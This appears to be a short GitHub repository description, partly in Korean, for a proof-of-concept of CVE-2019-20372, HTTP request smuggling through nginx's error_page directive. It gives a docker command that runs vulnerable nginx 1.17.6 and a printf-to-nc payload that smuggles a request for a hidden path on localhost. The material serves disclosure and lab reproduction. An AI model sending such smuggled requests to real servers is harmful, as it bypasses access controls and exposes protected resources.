vuongnv3389-sec/cve-2019-20372CVE-2019-20372에 대한 개념 증명 익스플로잇: nginx error_page 디렉티브를 통한 HTTP 요청 스머글링, 숨겨진 리소스에 접근 가능하게 함.
https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf
docker run -it --rm -p 80:80 -v pwd/default.conf:/etc/nginx/conf.d/default.conf nginx:1.17.6
printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET /_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | nc localhost 80
